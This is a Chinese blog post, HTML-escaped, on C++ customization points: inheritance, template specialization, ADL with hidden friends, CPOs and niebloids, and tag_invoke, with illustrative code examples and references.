&lt;h4 id=&quot;ru-he-shi-xian-cpo-he-niebloids&quot;&gt;如何实现 CPO 和 Niebloids&lt;&#x2F;h4&gt;
&lt;p&gt;学习如何实现 CPO 和 Niebloids 还是有用的，因为作为库作者很可能需要我们自己提供定制点，但 CPO 和 Niebloids 实际上不能通过 Lambda 实现，原因在 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;quuxplusone.github.io&#x2F;blog&#x2F;2021&#x2F;12&#x2F;07&#x2F;namespace-cpo&#x2F;&quot;&gt;A note on namespace __cpo&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;当然，实现 CPO 和 Niebloids 并不需要多么复杂，如果你不想要知道原因（除了定制标准和发明 CPO 以外没人需要知道原因），照抄下面的模板即可：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
namespace std::ranges {
  namespace __iter_swap {
    struct __fn {
      auto operator()(~~~) const { ~~~ }
    };
  }
  inline namespace __cpo {
    inline constexpr auto iter_swap = __iter_swap::__fn{};
  }
}

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;c-de-ding-zhi-dian-she-ji&quot;&gt;C++的定制点设计&lt;&#x2F;h2&gt;
&lt;p&gt;定制点（customization point）在特定领域里也是老生常谈的话题了，本文快速总结相关的设计方案。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;shen-me-shi-ding-zhi-dian&quot;&gt;什么是定制点&lt;&#x2F;h3&gt;
&lt;p&gt;作为库开发者的大佬们想必都会思考如何为库使用者提供一种定制能力，这就是广义上的定制点。&lt;&#x2F;p&gt;
&lt;p&gt;另外也可以通过C++语言标准了解定制点。它的定义是较为狭义的（标准库视角），但也只要求是写在&lt;code&gt;std&lt;&#x2F;code&gt;命名空间外部的某种重载方式就行了。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Other than in namespace std or in a namespace within namespace std, a program may provide an overload for any library function template designated as a&lt;&#x2F;em&gt; &lt;em&gt;&lt;strong&gt;customization point&lt;&#x2F;strong&gt;&lt;&#x2F;em&gt; &lt;em&gt;, provided that (a) the overload’s declaration depends on at least one user-defined type and (b) the overload meets the standard library requirements for the customization point.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;本文不局限于标准库，探讨广义的C++定制点。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;you-na-xie-ding-zhi-dian&quot;&gt;有哪些定制点&lt;&#x2F;h3&gt;
&lt;p&gt;目前C++的主流方案有：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;类继承。&lt;&#x2F;li&gt;
&lt;li&gt;类模板特化。&lt;&#x2F;li&gt;
&lt;li&gt;实参依赖查找（ADL）。&lt;&#x2F;li&gt;
&lt;li&gt;定制点对象（CPO）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;tag_invoke&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;未来可能提供的方案有：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;可定制函数（customizable functions）。&lt;&#x2F;li&gt;
&lt;li&gt;静态反射。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;sub&gt;不受待见(?)的方案有：依赖注入（DI）。&lt;&#x2F;sub&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;lei-ji-cheng&quot;&gt;类继承&lt;&#x2F;h3&gt;
&lt;p&gt;类继承的介绍就无需多言了，示例如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;class Loggable {
public:
    virtual void dump() = 0;
};

class Meme: public Loggable {
public:
    void dump() override { &amp;#x2F;*...*&amp;#x2F; }
};

struct Logger {
    void log(Loggable &amp;amp;loggable) {
        loggable.dump();
    }
    &amp;#x2F;&amp;#x2F; ...
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;virtual&lt;&#x2F;code&gt;是语言特性直接给出的定制点支持，能得到的好处大家都懂，但缺陷还是值得一提。&lt;&#x2F;p&gt;
&lt;p&gt;有一种观点认为类继承是侵入式的设计：侵入指的是更改了类结构，比如引入了额外的子对象。而类继承显然引入了不必要的基类。其实引入不算问题，但是一个不能修改的类就无法完成定制确实是问题。&lt;&#x2F;p&gt;
&lt;p&gt;另一个问题是带来了可能不必要的额外运行时成本。虽说运行时多态是没有选择，但在编译期确认的情况下，成本再低也是成本。后续介绍的方案均为静态多态方案。&lt;&#x2F;p&gt;
&lt;p&gt;最后还有一点是&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.cppreference.com&#x2F;w&#x2F;cpp&#x2F;language&#x2F;type&quot;&gt;类型系统&lt;&#x2F;a&gt;的扩展问题。类继承只支持到类类型（class type，也就是口头的class或者struct），并没有覆盖到数组类型、指针类型和基本类型等更多类型的定制。&lt;&#x2F;p&gt;
&lt;p&gt;实际应用：随地都是。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;lei-mo-ban-te-hua&quot;&gt;类模板特化&lt;&#x2F;h3&gt;
&lt;p&gt;如字面意思，定制点通过类模板的特化来实现。示例如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;&amp;#x2F;&amp;#x2F; 用户自定义类型
struct point {
    double x, y;
};

&amp;#x2F;&amp;#x2F; 库提供的定制点
template &amp;lt;&amp;gt;
struct fmt::formatter&amp;lt;point&amp;gt; : nested_formatter&amp;lt;double&amp;gt; {
    auto format(point p, format_context&amp;amp; ctx) const {
        return write_padded(ctx, [=](auto out) {
            return format_to(out, &amp;quot;({}, {})&amp;quot;, nested(p.x), nested(p.y));
        });
    }
};

int main() {
    fmt::print(&amp;quot;[{:&amp;gt;20.2f}]&amp;quot;, point{1, 2});
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这种实现是完全非侵入式的，对类型系统有完善的支持且无额外运行时成本。&lt;&#x2F;p&gt;
&lt;p&gt;但也有问题，那就是特化出来的模板必须要全部实现，而不能只实现其中一个函数。也就是说这种定制点只适用于少量的定制。也可参考示例中通过静态的继承提供较为通用的非定制函数来缓解问题。&lt;&#x2F;p&gt;
&lt;p&gt;NOTE: 不建议使用特化的函数模板来完成定制，因为不支持偏特化。这也是为什么&lt;code&gt;std::hash&lt;&#x2F;code&gt;使用类模板的原因。&lt;&#x2F;p&gt;
&lt;p&gt;实际应用：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;fmtlib&#x2F;fmt&quot;&gt;{fmt} library&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;shi-can-yi-lai-cha-zhao&quot;&gt;实参依赖查找&lt;&#x2F;h3&gt;
&lt;p&gt;实参依赖查找（argument-dependent lookup），又称ADL或Koenig查找。是C++语言标准中应用于无限定的函数名进行查找的规则。&lt;&#x2F;p&gt;
&lt;p&gt;ADL的&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.cppreference.com&#x2F;w&#x2F;cpp&#x2F;language&#x2F;adl#Details&quot;&gt;细节&lt;&#x2F;a&gt;很多，简单点可理解为实参所在的命名空间也被加入到当前的函数重载决议的候选集中。&lt;&#x2F;p&gt;
&lt;p&gt;最简单的示例如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include &amp;lt;iostream&amp;gt;

int main() {
    endl(std::cout);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;ADL检验&lt;code&gt;std&lt;&#x2F;code&gt;命名空间，因为&lt;code&gt;endl&lt;&#x2F;code&gt;的实参在&lt;code&gt;std&lt;&#x2F;code&gt;中，并找到了&lt;code&gt;std::endl&lt;&#x2F;code&gt;且唯一匹配。所以函数确认为&lt;code&gt;std::endl&lt;&#x2F;code&gt;。（你也可以在&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cppinsights.io&#x2F;s&#x2F;a6ee052e&quot;&gt;C++ Insights&lt;&#x2F;a&gt;查看该示例的ADL结果。）&lt;&#x2F;p&gt;
&lt;p&gt;由此产生了隐藏友元惯用法（hidden friend idiom）搭配ADL作为定制点的方案，示例如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include &amp;lt;iostream&amp;gt;

namespace Foo {
    class Bar {
        &amp;#x2F;&amp;#x2F; A hidden (private) friend!
        friend void swap(Bar&amp;amp; a, Bar&amp;amp; b) {
            std::cout &amp;lt;&amp;lt; &amp;quot;I am here&amp;quot; &amp;lt;&amp;lt; std::endl;
        }
    };
} &amp;#x2F;&amp;#x2F; Foo

int main() {
    Foo::Bar a, b;
    int x, y;
    using std::swap;
    swap(a, b);      &amp;#x2F;&amp;#x2F; Foo::swap is called.
    swap(x, y);      &amp;#x2F;&amp;#x2F; std::swap is called.
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;NOTE: 使用隐藏友元可以避免参与正常的名字查找过程，它只能应用于ADL过程，有更强的封装性。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;This function is to be found via argument-dependent lookup only.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;很显然它可以按需定制，没有类模板特化的先天缺陷。并且放弃使用友元的话（定制点函数写到类外即可），也可以做到非侵入式的定制。&lt;&#x2F;p&gt;
&lt;p&gt;但这种方案存在&lt;strong&gt;天坑&lt;&#x2F;strong&gt;：难以正确的使用（必须两阶段，先&lt;code&gt;using&lt;&#x2F;code&gt;再非限定名调用），难以检错（任何一步错了，也有可能编译成功，但是调用了哪个版本就难说了）；更离谱的是，调用正确但实现写错了是完全不知情（如果用户没有&lt;strong&gt;自行&lt;&#x2F;strong&gt;提供concept，写成swap-by-&lt;strong&gt;value&lt;&#x2F;strong&gt;编译器也不会吭声）。&lt;&#x2F;p&gt;
&lt;p&gt;连基本的保障都做不到，简直是犯了定制点的大忌。&lt;&#x2F;p&gt;
&lt;p&gt;实际应用：???&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ding-zhi-dian-dui-xiang&quot;&gt;定制点对象&lt;&#x2F;h3&gt;
&lt;p&gt;定制点对象（customization point object），又称CPO。CPO在核心语言中被定义为一种可与&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.cppreference.com&#x2F;w&#x2F;cpp&#x2F;language&#x2F;extending_std#Program-defined_types&quot;&gt;程序定义类型&lt;&#x2F;a&gt;进行特定语义交互的&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.cppreference.com&#x2F;w&#x2F;cpp&#x2F;named_req&#x2F;LiteralType&quot;&gt;字面类型&lt;&#x2F;a&gt;函数对象。所谓特定语义，就认为是能当函数来调用就好了。&lt;&#x2F;p&gt;
&lt;p&gt;这种设计的存在就是为了弥补ADL定制点的缺陷。原理是基于C++类型系统中「&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.cppreference.com&#x2F;w&#x2F;cpp&#x2F;language&#x2F;object#:~:text=The%20following%20entities%20are%20not%20objects%3A%20value%2C%20reference%2C%20function&quot;&gt;函数非对象&lt;&#x2F;a&gt;」的规则，将定制点函数替换为定制点函数对象，从而隐式关闭ADL（或者说是把ADL隐藏到库内部完成）。&lt;&#x2F;p&gt;
&lt;p&gt;NOTE: 很显然，函数对象不是函数。这也没啥好解释的，更多&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.cppreference.com&#x2F;w&#x2F;cpp&#x2F;utility&#x2F;functional&quot;&gt;细节&lt;&#x2F;a&gt;请自行翻阅。&lt;&#x2F;p&gt;
&lt;p&gt;一个迭代器CPO的示例如下，可以关注&lt;code&gt;library::begin()&lt;&#x2F;code&gt;的行为：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include &amp;lt;type_traits&amp;gt;
#include &amp;lt;vector&amp;gt;
#include &amp;lt;iostream&amp;gt;

namespace library {

    &amp;#x2F;&amp;#x2F; Best practice: provide a separate namespace for each CP class.
    namespace begin_cpo_detail {
        struct Begin_fn {
            template &amp;lt;typename &amp;#x2F;*👈concept is better*&amp;#x2F; Container&amp;gt;
            decltype(auto) operator()(Container &amp;amp;&amp;amp;container) const {
                &amp;#x2F;&amp;#x2F; Internal ADL here!
                return begin(std::forward&amp;lt;Container&amp;gt;(container));
            }
        };

        &amp;#x2F;&amp;#x2F; Generic default begin function template(s).
        &amp;#x2F;&amp;#x2F; TODO: array types...
        template &amp;lt;typename T&amp;gt;
        decltype(auto) begin(T &amp;amp;&amp;amp;obj) &amp;#x2F;*noexcept(noexcept(...))*&amp;#x2F; {
            return std::forward&amp;lt;T&amp;gt;(obj).begin();
        }
    }

    &amp;#x2F;&amp;#x2F; All CPOs should be wrapped into this inline namespace.
    inline namespace _cpo {
#if __cplusplus &amp;gt;= 201703L
        &amp;#x2F;&amp;#x2F; A customization point OBJECT.
        inline constexpr begin_cpo_detail::Begin_fn begin {};
#else &amp;#x2F;&amp;#x2F; __cplusplus &amp;gt;= 201703L
        &amp;#x2F;&amp;#x2F; Workaround for C++14.
        template &amp;lt;typename Cpo&amp;gt;
        constexpr Cpo _static_const {};

        namespace {
            &amp;#x2F;&amp;#x2F; A customization point &amp;quot;OBJECT&amp;quot;.
            constexpr auto &amp;amp;begin = _static_const&amp;lt;begin_cpo_detail::Begin_fn&amp;gt;;
        }
#endif
    } &amp;#x2F;&amp;#x2F; _cpo
} &amp;#x2F;&amp;#x2F; library

namespace end_user {

template &amp;lt;typename T&amp;gt;
class Vector {
public:
    Vector(std::initializer_list&amp;lt;T&amp;gt; il): _real_vector(il) {}
    &amp;#x2F;&amp;#x2F; User-defined default begin() function.
    &amp;#x2F;&amp;#x2F; Called by std::begin().
    auto begin() { return _real_vector.begin(); }

private:
    std::vector&amp;lt;T&amp;gt; _real_vector;

    &amp;#x2F;&amp;#x2F; User-defined customized begin() function.
    &amp;#x2F;&amp;#x2F; A hooked begin-iterator (with hidden friend again).
    friend auto begin(Vector&amp;lt;T&amp;gt; &amp;amp;vec) {
        using Hook = std::vector&amp;lt;std::string&amp;gt;;
        static Hook strings {&amp;quot;hook&amp;quot;, &amp;quot;jintianxiaomidaobilema&amp;quot;};
        return strings.begin();
    }
};

} &amp;#x2F;&amp;#x2F; end_user

int main() {
    end_user::Vector&amp;lt;int&amp;gt; f { 1, 2, 3 };
    auto iter1 = f.begin();
    &amp;#x2F;&amp;#x2F; [1]
    std::cout &amp;lt;&amp;lt; *iter1 &amp;lt;&amp;lt; std::endl;

    ::puts(&amp;quot;===============&amp;quot;);

    &amp;#x2F;&amp;#x2F; STL-begin.
    auto iter2 = std::begin(f);
    &amp;#x2F;&amp;#x2F; [1]
    std::cout &amp;lt;&amp;lt; *iter2 &amp;lt;&amp;lt; std::endl;

    ::puts(&amp;quot;===============&amp;quot;);

    &amp;#x2F;&amp;#x2F; ADL enabled, STL-bypass-begin.
    auto iter3 = begin(f);
    &amp;#x2F;&amp;#x2F; [hook]
    std::cout &amp;lt;&amp;lt; *iter3 &amp;lt;&amp;lt; std::endl;

    ::puts(&amp;quot;===============&amp;quot;);

    &amp;#x2F;&amp;#x2F; **CPO is here.**
    &amp;#x2F;&amp;#x2F; ADL disabled, since library::begin is an object.
    &amp;#x2F;&amp;#x2F;
    &amp;#x2F;&amp;#x2F; With library:: prefix, not end_user::,
    &amp;#x2F;&amp;#x2F; `library` can detect user-defined hooks automatically.
    auto iter4 = library::begin(f);
    &amp;#x2F;&amp;#x2F; [hook]
    std::cout &amp;lt;&amp;lt; *iter4 &amp;lt;&amp;lt; std::endl;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;CPO实现使得通过显式的&amp;lt;库命名空间&amp;gt;::限定就能检测是否有用户定制实现。如果存在，则优先使用用户定制实现，否则再使用库内置实现。并不会存在任何歧义。显然也没有了最大的天坑问题，库现在可以主动内置concept避免错误。&lt;&#x2F;p&gt;
&lt;p&gt;但是这种方案在C++14版本是难以实现的，因为缺少&lt;code&gt;inline constexpr&lt;&#x2F;code&gt;变量的语法支持，所以还要通过引用多绕一层以满足ODR的要求。更具体地说就是模板本身可以ODR，然后通过匿名namespace的内部链接为每一个翻译单元准备一个引用，它们都指涉相同的CPO对象，由于引用具有相同的地址，因此符合ODR要求。不过这再怎么麻烦也都是过去的事情了。&lt;&#x2F;p&gt;
&lt;p&gt;NOTE0: 为什么示例中CPO（&lt;code&gt;begin&lt;&#x2F;code&gt;对象）需要被包裹在inline namespace？这是前人踩坑的经验……如果去掉这个inline namespace，在同一个&lt;code&gt;library&lt;&#x2F;code&gt;命名空间可能有另一个类使用了&lt;code&gt;begin&lt;&#x2F;code&gt;同名的隐藏友元函数，由于ADL候选了&lt;code&gt;library&lt;&#x2F;code&gt;命名空间的原因，隐藏友元仍可被查找，此时编译器认为存在歧义：&lt;code&gt;begin&lt;&#x2F;code&gt;既是对象，也是函数。但是语言标准保证了使用inline namespace后不会产生歧义。&lt;&#x2F;p&gt;
&lt;p&gt;NOTE1: 从C++20开始，lambda也可以直接作为CPO使用。&lt;&#x2F;p&gt;
&lt;p&gt;NOTE2: 还有一个同样禁用ADL的玩家是&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.cppreference.com&#x2F;w&#x2F;cpp&#x2F;algorithm&#x2F;ranges&#x2F;copy#:~:text=this%20page%20are-,niebloids,-%2C%20that%20is%3A&quot;&gt;niebloid&lt;&#x2F;a&gt;。目前niebloid（的实现）就是等同于CPO，但是它的定义更加宽泛，未来如果有更新的标准支持显式禁用ADL，它还可能是一个函数。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;The function-like entities described on this page are&lt;&#x2F;em&gt; &lt;em&gt;&lt;strong&gt;niebloid&lt;&#x2F;strong&gt;&lt;&#x2F;em&gt;&lt;em&gt;s…In practice, they may be implemented as function objects, or with special compiler extensions.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;实际应用：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;ericniebler&#x2F;range-v3&quot;&gt;Range library&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;tag-invoke&quot;&gt;tag_invoke&lt;&#x2F;h3&gt;
&lt;p&gt;前面的CPO看起来已经是个不错的方案，但是探索远没有结束。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;tag_invoke&lt;&#x2F;code&gt;的动机是针对CPO定制点过多时改进的措施，以避免对命名空间造成大量污染。因为每增加一个CPO，那就意味着需要全局预留这个名字（用户使用这个名字将被库检测到并误判为定制点）。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;tag_invoke&lt;&#x2F;code&gt;的做法是全局只预留一个名字&lt;code&gt;tag_invoke&lt;&#x2F;code&gt;，它是唯一的全局预留CPO（未来的标准库会提供&lt;code&gt;std::tag_invoke&lt;&#x2F;code&gt;，但是&lt;code&gt;tag_invoke&lt;&#x2F;code&gt;的实现完全可以由库开发者自行完成），其它的定制点重载这个全局定制点再次派发。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;tag_invoke&lt;&#x2F;code&gt;的一个巧妙之处是利用了「CPO是对象」的性质：既然是对象，那么拿去当参数传递当然没问题。于是有了&lt;code&gt;tag_invoke(cpo_type cpo, ARGS...)&lt;&#x2F;code&gt;的定制点设计。&lt;&#x2F;p&gt;
&lt;p&gt;库的开发已经有明确方向了，但剩下用户的定制存在问题：用户怎么知道库使用了什么类型的CPO？为了避免无聊的萃取，可以在库（或者标准库）层面内置&lt;code&gt;tag_t&lt;&#x2F;code&gt;辅助工具。此时对于库用户来说，只需实现&lt;code&gt;tag_invoke(tag_t&amp;lt;cpo&amp;gt;, ...)&lt;&#x2F;code&gt;即可得到&lt;code&gt;cpo&lt;&#x2F;code&gt;同名定制点。&lt;&#x2F;p&gt;
&lt;p&gt;所以tag invoke就是CPO加上标签派发得到的产物，这里给出CPO章节修改后的&lt;code&gt;tag_invoke&lt;&#x2F;code&gt;示例：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include &amp;lt;type_traits&amp;gt;
#include &amp;lt;vector&amp;gt;
#include &amp;lt;iostream&amp;gt;

&amp;#x2F;&amp;#x2F; Part of std::tag_invoke.
&amp;#x2F;&amp;#x2F; Copied and modified from Eric Niebler&amp;#x27;s gist:
&amp;#x2F;&amp;#x2F; https:&amp;#x2F;&amp;#x2F;gist.github.com&amp;#x2F;ericniebler&amp;#x2F;056f5459cf259da526d9ea2279c386bb
namespace standard {
   namespace detail {
      void tag_invoke();
      struct tag_invoke_t {
         template&amp;lt;typename Tag, typename... Args&amp;gt;
         constexpr decltype(auto) operator() (Tag tag, Args &amp;amp;&amp;amp;... args) const &amp;#x2F;*noexcept(...)*&amp;#x2F; {
            &amp;#x2F;&amp;#x2F; Internal ADL!
            return tag_invoke(static_cast&amp;lt;Tag &amp;amp;&amp;amp;&amp;gt;(tag), static_cast&amp;lt;Args &amp;amp;&amp;amp;&amp;gt;(args)...);
         }
      };
   }

   inline constexpr detail::tag_invoke_t tag_invoke{};

   template&amp;lt;auto&amp;amp; Tag&amp;gt;
   using tag_t = std::decay_t&amp;lt;decltype(Tag)&amp;gt;;
}

namespace library {
    namespace begin_cpo_detail {
        struct Begin_fn {
            template &amp;lt;typename &amp;#x2F;*👈concept is better*&amp;#x2F; Container&amp;gt;
            decltype(auto) operator()(Container &amp;amp;&amp;amp;container) const {
                &amp;#x2F;&amp;#x2F; Goto the single reserved CPO (std::tag_invoke).
                return standard::tag_invoke(*this, std::forward&amp;lt;Container&amp;gt;(container));
            }
        };

        &amp;#x2F;&amp;#x2F; Generic default begin function template(s).
        &amp;#x2F;&amp;#x2F; TODO: array types...
        template &amp;lt;typename T&amp;gt;
        decltype(auto) tag_invoke(Begin_fn, T &amp;amp;&amp;amp;obj) &amp;#x2F;*noexcept(noexcept(...))*&amp;#x2F; {
            return std::forward&amp;lt;T&amp;gt;(obj).begin();
        }
    }

    inline namespace _cpo {
        inline constexpr begin_cpo_detail::Begin_fn begin {};
    }
} &amp;#x2F;&amp;#x2F; library

namespace end_user {

template &amp;lt;typename T&amp;gt;
class Vector {
public:
    Vector(std::initializer_list&amp;lt;T&amp;gt; il): _real_vector(il) {}
    &amp;#x2F;&amp;#x2F; User-defined default begin() function.
    &amp;#x2F;&amp;#x2F; Called by std::begin().
    auto begin() { return _real_vector.begin(); }

private:
    std::vector&amp;lt;T&amp;gt; _real_vector;

    &amp;#x2F;&amp;#x2F; User-defined customized begin() function
    &amp;#x2F;&amp;#x2F; A hooked begin-iterator (with hidden friend again).
    friend auto tag_invoke(standard::tag_t&amp;lt;library::begin&amp;gt;, Vector&amp;lt;T&amp;gt; &amp;amp;vec) {
        using Hook = std::vector&amp;lt;std::string&amp;gt;;
        static Hook strings {&amp;quot;hook&amp;quot;, &amp;quot;xiaomijintiandaobila&amp;quot;};
        return strings.begin();
    }
};

} &amp;#x2F;&amp;#x2F; end_user

int main() {
    end_user::Vector&amp;lt;int&amp;gt; f { 1, 2, 3 };
    auto iter1 = f.begin();
    &amp;#x2F;&amp;#x2F; [1]
    std::cout &amp;lt;&amp;lt; *iter1 &amp;lt;&amp;lt; std::endl;

    ::puts(&amp;quot;===============&amp;quot;);

    &amp;#x2F;&amp;#x2F; STL-begin.
    auto iter2 = std::begin(f);
    &amp;#x2F;&amp;#x2F; [1]
    std::cout &amp;lt;&amp;lt; *iter2 &amp;lt;&amp;lt; std::endl;

    ::puts(&amp;quot;===============&amp;quot;);

    &amp;#x2F;&amp;#x2F; No ADL enabled.
    &amp;#x2F;&amp;#x2F; auto iter3 = begin(f);
    &amp;#x2F;&amp;#x2F;
    &amp;#x2F;&amp;#x2F; ::puts(&amp;quot;===============&amp;quot;);

    &amp;#x2F;&amp;#x2F; **tag_invoke is here.**
    &amp;#x2F;&amp;#x2F; ADL disabled, since library::begin is an object.
    &amp;#x2F;&amp;#x2F;
    &amp;#x2F;&amp;#x2F; With library:: prefix, not end_user::,
    &amp;#x2F;&amp;#x2F; `library` can detect user-defined hooks automatically.
    auto iter4 = library::begin(f);
    &amp;#x2F;&amp;#x2F; [hook]
    std::cout &amp;lt;&amp;lt; *iter4 &amp;lt;&amp;lt; std::endl;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;无需锐评，&lt;code&gt;tag_invoke&lt;&#x2F;code&gt;就是目前ADL科技的终极版本。&lt;&#x2F;p&gt;
&lt;p&gt;实际应用：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;NVIDIA&#x2F;stdexec&quot;&gt;NVIDIA stdexec&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;kan-ti-an-zhan-wei-lai&quot;&gt;看提案，战未来？&lt;&#x2F;h3&gt;
&lt;p&gt;先别急着ADL YES。各种基于ADL的定制点都难免让实现藏得更深，也许该从语法上提供直接改进。&lt;&#x2F;p&gt;
&lt;p&gt;提案&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.open-std.org&#x2F;jtc1&#x2F;sc22&#x2F;wg21&#x2F;docs&#x2F;papers&#x2F;2021&#x2F;p2279r0.html#relevant-work&quot;&gt;P2279R0&lt;&#x2F;a&gt;提到2种新的定制点思路：可定制函数和静态反射。我粗略看了一下，可定制函数指的是通过新的语法去完成&lt;code&gt;virtual&lt;&#x2F;code&gt;转换到静态多态的过程（恰好&lt;code&gt;virtual&lt;&#x2F;code&gt;不能应用于类外，现在填上这个坑作为新的用途），而不用再考虑复杂的ADL问题；静态反射则是另一个思路，通过支持静态反射来完成可定制函数，而不必专门为定制点开发新的语法（其实文本太长没怎么看，很可能是我瞎说的……反正都是思路）。&lt;&#x2F;p&gt;
&lt;p&gt;这些美好设想现在还看不到弊端，但是有更多的可行手段必然是利好开发者。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;jie-shu-yu&quot;&gt;结束语&lt;&#x2F;h3&gt;
&lt;p&gt;本文快速总结了各种定制点的优缺点及实际应用，有写库需求的时候也可以作为技术选型的参考。&lt;&#x2F;p&gt;
&lt;p&gt;另外，C++20之后的标准库也渗透着越来越多的定制点（实际应用里面的三巨头将全被收入标准库），其实还藏有很多坑留给大家去踩……这是个漫长的过程，总之先这样吧。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;references&quot;&gt;References&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=mdh9GLWXWyY&quot;&gt;Customization Methods: Connecting User and C++ Library Code (CppCon 2023) – YouTube&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;fmt.dev&#x2F;10.2.0&#x2F;api.html&quot;&gt;API Reference – fmt 10.2.0 documentation&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.cppreference.com&#x2F;w&#x2F;cpp&#x2F;language&#x2F;adl&quot;&gt;Argument-dependent lookup – cppreference&lt;&#x2F;a&gt;
[&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;eel.is&#x2F;c++draft&#x2F;customization.point.object&quot;&gt;customization.point.object] – Working Draft&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.open-std.org&#x2F;jtc1&#x2F;sc22&#x2F;wg21&#x2F;docs&#x2F;papers&#x2F;2019&#x2F;p1601r0.pdf&quot;&gt;Recommendations for Specifying “Hidden Friends” – ISOCPP&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.open-std.org&#x2F;jtc1&#x2F;sc22&#x2F;wg21&#x2F;docs&#x2F;papers&#x2F;2021&#x2F;p2279r0.html&quot;&gt;We need a language mechanism for customization points – ISOCPP&lt;&#x2F;a&gt;
